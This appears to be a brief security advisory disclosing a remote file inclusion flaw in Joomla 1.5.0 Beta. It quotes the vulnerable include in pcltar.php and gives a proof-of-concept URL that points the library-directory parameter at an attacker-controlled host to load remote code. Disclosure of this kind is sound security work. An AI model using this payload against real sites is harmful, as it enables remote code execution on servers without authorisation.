Hi,
Joomla! 1.5.0 is in Beta version and "should NOT to be used for `live`
or `production` sites."
Joomla 1.0.12 has a good security but it seems that Joomla 1.5.0 doesnt
have a good security approach. Anyway, there is a remote file inclusion
in Joomla 1.5.0 Beta :

File /libraries/pcl/pcltar.php, Line 74 :
  if (!defined("PCLERROR_LIB"))
  {
	include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension);
  }

POC : http://hacked/libraries/pcl/pcltar.php?g_pcltar_lib_dir=http://hacker/? 

The original advisory (in Persian) is located at :
http://www.hackers.ir/advisories/joomla.html 


- Omid